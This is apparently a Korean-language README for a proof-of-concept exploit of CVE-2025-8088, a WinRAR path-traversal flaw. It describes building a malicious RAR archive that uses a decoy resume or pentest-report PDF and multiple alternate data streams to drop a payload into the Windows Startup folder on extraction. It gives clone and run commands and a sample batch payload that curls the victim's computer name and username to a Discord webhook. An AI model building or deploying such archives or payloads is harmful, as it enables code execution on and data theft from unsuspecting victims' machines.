CVE-2025-8088 WinRAR 익스플로잇 🔓

CVE-2025-8088 WinRAR 취약점(버전 7.12 이하)에 대한 개념 증명 익스플로잇입니다. 이 도구는 경로 탐색을 통해 페이로드를 대체 데이터 스트림(ADS)에 임베드하는 악성 RAR 아카이브를 생성하여 잠재적으로 임의 코드 실행을 유발합니다.

• 다른 많은 익스플로잇의 문제는 여러 ADS 스트림을 임베드하지 않아서 올바른 경로 탐색을 운에 맡기거나 정확한 사용자 이름/추출 디렉터리를 알아야 한다는 점입니다.

🚀 작동 방식

1. 미끼 문서 생성 📄 - 전문적인 PDF (이력서 또는 모의 침투 보고서) 생성
2. 여러 ADS 스트림 임베드 🔄 - 다양한 경로 탐색 깊이의 페이로드 스트림 첨부
3. RAR 헤더 조작 ⚙️ - 경로 탐색 취약점을 악용하기 위해 아카이브 구조 수정
4. 시작 폴더에 페이로드 드롭 📂 - 추출 시 Windows 시작 폴더에 페이로드 기록 시도

🛠️ 사용법

# Clone the repository
git clone https://github.com/pentestfunctions/best-CVE-2025-8088.git
cd best-CVE-2025-8088

# Install dependencies
pip install reportlab

# Run the exploit
python CVE-2025-8088.py

✏️ 페이로드 커스터마이징

스크립트의 PAYLOAD 변수를 교체하세요:

# Replace the PAYLOAD variable in the script:
PAYLOAD = """@echo off
curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Extracted on %COMPUTERNAME% by %USERNAME%\"}" YOUR_DISCORD_WEBHOOK_URL
pause
"""